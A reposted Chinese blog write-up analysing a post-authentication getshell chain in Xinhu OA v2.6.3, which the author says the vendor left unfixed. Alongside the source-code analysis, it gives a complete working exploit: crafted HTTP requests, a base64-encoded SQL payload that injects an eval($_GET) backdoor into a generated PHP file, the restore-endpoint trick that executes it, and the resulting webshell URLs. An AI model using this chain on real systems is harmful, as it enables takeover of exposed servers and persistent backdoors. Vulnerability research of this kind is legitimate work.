信呼OA后台GETSHELL分析

admin 2024年7月1日08:42:29评论24 views字数 7157阅读23分51秒阅读模式
信呼OA后台GETSHELL
测试版本:v2.6.3(最新版)
前两天某天收洞,说奖金挺高,想着挖一挖赚点外快,审核说无法复现不收,不收就不收吧。

信呼OA后台GETSHELL分析

那我就提交cnvd,cnvd嫌我不写分析步骤不收驳回,那就不交了吧

信呼OA后台GETSHELL分析

我寻思直接联系厂商修复吧。嗯厂商也是爱答不理。

信呼OA后台GETSHELL分析

信呼OA后台GETSHELL分析

信呼OA后台GETSHELL分析

我寻思这系统是没人用还是咋地,那fofa还将近6000的站点

信呼OA后台GETSHELL分析

这是个组合拳sql注入拿token进后台getshell,因为前台注入没修就不写出来了。只分享个后台getshell。
写文章这不能也给我驳回了吧。

漏洞触发点-

Path: webmain/main/flow/flowAction.php
method: inputAction

public function inputAction(){        $setid  = (int)$this->get('setid','0');        if($this->setinputid>0)$setid = $this->setinputid;        $atype  = $this->get('atype');

        $rs     = m('flow_set')->getone("`id`='$setid'");        if(!$rs)exit('sorry!');        ...........................        ...........................



        $apaths     = ''.P.'/flow/input/mode_'.$modenum.'Action.php';        $apath      = ''.ROOT_PATH.'/'.$apaths.'';        if(!file_exists($apath)){            $stra = '<?php/***   此文件是流程模块【'.$modenum.'.'.$rs['name'].'】对应控制器接口文件。*/ class mode_'.$modenum.'ClassAction extends inputAction{

    /**    *   重写函数:保存前处理,主要用于判断是否可以保存    *   $table String 对应表名    *   $arr Array 表单参数    *   $id Int 对应表上记录Id 0添加时,大于0修改时    *   $addbo Boolean 是否添加时    *   return array('msg'=>'错误提示内容','rows'=> array()) 可返回空字符串,或者数组 rows 是可同时保存到数据库上数组    */    protected function savebefore($table, $arr, $id, $addbo){

    }

    /**    *   重写函数:保存后处理,主要保存其他表数据    *   $table String 对应表名    *   $arr Array 表单参数    *   $id Int 对应表上记录Id    *   $addbo Boolean 是否添加时    */      protected function saveafter($table, $arr, $id, $addbo){

    }}               ';            $this->rock->createtxt($apaths, $stra);

        }        if(!file_exists($apath))echo '<div style="background:red;color:white;padding:10px">无法创建文件:'.$apaths.',会导致录入数据无法保存,请手动创建!代码内容如下:</div><div style="background:#caeccb">&lt;?php<br>class mode_'.$modenum.'ClassAction extends inputAction<br>{<br>}</div>';    }

看代码从数据库中获取数据然后写出文件到/flow/input/mode_'.$modenum.'Action.php。
$rs['name']、$modenum和都是从数据库中获取的,然后写出没有过滤可以造成代码执行。
利用方式:

  1. insert data -> flow_set数据库
  2. 执行inputAction 方法
  3. 代码执行

先找insert的地方

Insert FlowSet
path: webmain/flow/input/inputAction.php
method: saveAjax

在这里进行过滤$befa   = $this->savebefore($table, $this->getsavenarr($uaarr, $oldrs), $id, $addbo);.......    public function flowsetsavebefore($table, $cans){        $tab = $cans['table'];        $tabs= trim($cans['tables']);        $names= trim($cans['names']);        $name= $this->rock->xssrepstr($cans['name']);        $num = strtolower($cans['num']);        $cobj= c('check');        if(!$cobj->iszgen($tab))return '表名格式不对';        if($cobj->isnumber($num))return '编号不能为数字';        if(strlen($num)<4)return '编号至少要4位';        if($cobj->isincn($num))return '编号不能包含中文';        if(contain($num,'-'))return '编号不能有-';

        if($cans['isflow']>0 && isempt($cans['sericnum'])) return '有流程必须有写编号规则,请参考其他模块填写';        $rows['num']= $this->rock->xssrepstr($num);         $rows['name']= $name;        if(!isempt($tabs)){            if($cobj->isincn($tabs))return '多行子表名不能包含中文';            $tabsa      = explode(',', $tabs);            $namea      = explode(',', $names);            foreach($tabsa as $k1=>$tabsas){                if(isempt($tabsas))return '多行子表名('.$tabs.')不规范';                if(isempt(arrvalue($namea, $k1)))return '第'.($k1+1).'个多行子表名称必须填写';            }        }        $rows['tables']= $tabs;        if($cans['where'])$rows['where'] = htmlspecialchars_decode($cans['where']);        return array(            'rows' => $rows        );    }-----------$name= $this->rock->xssrepstr($cans['name']);$rows['num']= $this->rock->xssrepstr($num);     public function xssrepstr($str){        $xpd  = explode(',','(,), , ,<,>,\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;'');        $xpd[]= "n";        return str_ireplace($xpd, '', $str);    }

可以看到insert对数据检测非常严格,而我们想要代码执行*/、()是必须的。所以这条路是走不通的。

  • 柳暗花明又一村

后面翻代码注意到可以执行sql语句。那我们组合一下,直接通过sql语句insert然后就可以绕过输入检测。
path: webmain/system/beifen/beifenAction.php
method: huifdatanewAjax

public function huifdatanewAjax(){        if(getconfig('systype')=='demo')exit();        if($this->adminid!=1)return '只有ID=1的管理员才可以用';        $folder = $this->post('folder');        $sida   = explode(',', $this->post('sid'));        $alltabls   = $this->db->getalltable();        $shul   = 0;        $tablss = '';        foreach($sida as $id){            $ids    = substr($id,0,-5);            $ida    = explode('_', $ids);            $len    = count($ida);            $fieldshu = $ida[$len-2];            $total  = $ida[$len-1];            $tab    = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表

            $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';            if(!file_exists($filepath))continue;

            $data     = m('beifen')->getbfdata('',$filepath);            if(!$data)continue;

            $dataarr    = $data[$tab];

            //表不存在            if(!in_array($tab, $alltabls)){                $createsql = arrvalue($dataarr, 'createsql');                if($createsql){                    $this->db->query($createsql, false);                }else{                    continue;                }            }

该method 通过从文件中获取数据,然后执行sql语句

信呼OA后台GETSHELL分析

既然是在后台找个文件上传不很简单,但问题来了

$sida   = explode(',', $this->post('sid'));foreach($sida as $id){

            $tab    = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表            $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';            if(!file_exists($filepath))continue;            $data     = m('beifen')->getbfdata('',$filepath); //json_decode文件内容            if(!$data)continue;            $dataarr    = $data[$tab];            //表不存在            if(!in_array($tab, $alltabls)){                $createsql = arrvalue($dataarr, 'createsql');                if($createsql){                    $this->db->query($createsql, false);                }else{                    continue;                }            }

1、首先获取文件内容json_decode后储存到$data变量
2、获取$data[$tab]中的数据,$tab是我们上传的文件名
3、然后判断数据库中没有$tab这个table。
4、获取$data[$tab]['createsql']执行query。
其他都可控主要上传的图片文件名都是随机的。想要执行sql语句就必须控制文件名。
如:上传文件返回随机文件名asdasdasdsad.png,那么文件内容必须为
{"asdasdasdsad.png":{"createsql":"select 1"}}
我们无法提前预知生成的文件名,那这条路也嘎bi了。

  • 柳暗花明又又一村

通过翻阅代码发现一处上传点,可控文件名。

path: webmain/task/openapi/openkqjAction.php
method: apiAction

public function apiAction(){        ................        $acta   = explode('?', $patha[count($patha)-1]);        $act    = $acta[0];        $data   = array();        $num    = $this->get('sn'); //设备号        if(!$num)return 'notdata';        $dbs    = m('kqjsn');        $snid   = (int)$dbs->getmou('id',"`num`='$num'");        if($snid==0)$snid = $dbs->insert(array(            'num' => $num,            'optdt' => $this->rock->now,            'status' => 1        ));

        $this->snid = $snid;        .......................        //推送来的        if($act=='post' && $this->postdata!=''){            $data= m('kqjcmd')->postdata($this->snid, $this->postdata);        }

当$act='post' ,postdata不为空
进入 m('kqjcmd')->postdata

public function postdata($snid, $dstr){        $this->rock->debugs($dstr,'postkqj_'.$snid.'_');        $barr = json_decode($dstr, true);        $carr = array();        $uids = $dids = '';        $snrs = $this->getsninfo($snid);        if($barr)foreach($barr as $k=>$rs){            $dtype = arrvalue($rs, 'data'); //数据类型            ................//推送来的头像            if($dtype=='headpic'){                $this->saveheadpic($snid, $rs['ccid'], $rs['headpic']);            }

当json_decode(postdata)['data'] == 'headpic'时
进入$this->saveheadpic

private function saveheadpic($snid, $uid, $headpic, $face=''){        $where = "`snid`='$snid' and `uid`='$uid'";        if(isempt($face)){            if(isempt($headpic))return;            $face  = ''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'; //头像保存为图片            $this->rock->createtxt($face, base64_decode($headpic));        }        $arr['headpic'] = $face;        if($this->kquobj->rows($where)==0){            $where = '';            $arr['snid'] = $snid;            $arr['uid']  = $uid;        }        $this->kquobj->record($arr, $where);    }

在saveheadpic中,3个参数都是可控的,从而拿到可控文件名的上传点。

1、apiAction,$act=='post' && $this->postdata!='',进入m('kqjcmd')->postdata
2、postdata,json_decode(postdata)['data']== 'headpic',进入$this->saveheadpic
3、$this->saveheadpic写出文件到''.UPDIR.'/face/kqj'.$snid.'_u'.$uid.'.jpg'

那么开始漏洞利用

Exploit
1、首先insert一条flowset数据(ps:直接用sql insert太麻烦了直接正常构造一个正常数据,然后sql update)

信呼OA后台GETSHELL分析

信呼OA后台GETSHELL分析

信呼OA后台GETSHELL分析

记录id,163

2、构造执行sql语句的payload

信呼OA后台GETSHELL分析

id=前面记录的id
createsql为执行的sql语句
kqj1_u1.jpg为上传的可控文件名

3、Openkqj->postdata->headpic 上传可控文件名文件
headpic为前面构造的payload,base64编码

POST /index.php/post?d=task&m=openkqj|openapi&a=api&sn=1 HTTP/1.1

{"aasd":{"data":"headpic","id":"1","headpic":"eyJrcWoxX3UxLmpwZyI6eyJjcmVhdGVzcWwiOiJ1cGRhdGUgeGluaHVfZmxvd19zZXQgc2V0IG5hbWU9XCIqXC9ldmFsKCRfR0VUWydwd2EnXSk7XC8qXCIgIHdoZXJlIGlkPTE2MzsifX0=","ccid":"1"}}

信呼OA后台GETSHELL分析

上传成功

4、执行sql语句
/index.php?a=huifdatanew&d=system&m=beifen&ajaxbool=true
post
folder=.*/./face&sid=kqj1_u1.jpg

信呼OA后台GETSHELL分析

5、触发漏洞
/index.php?a=input&m=flow&d=main&id=0&setid=163
setid为第一步返回的id

信呼OA后台GETSHELL分析

执行成功访问shell
shell地址:/webmain/flow/input/mode_test123Action.php?pwa=phpinfo();
Shell地址2:/?d=flow&m=mode_test123|input&pwa=phpinfo();

信呼OA后台GETSHELL分析

mode_test123Action.php = model_模块编号Action.php

信呼OA后台GETSHELL分析

作者:SetObject

原文链接:https://xz.aliyun.com/t/14920

原文始发于微信公众号(七芒星实验室):信呼OA后台GETSHELL分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月1日08:42:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   信呼OA后台GETSHELL分析https://cn-sec.com/archives/2903272.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息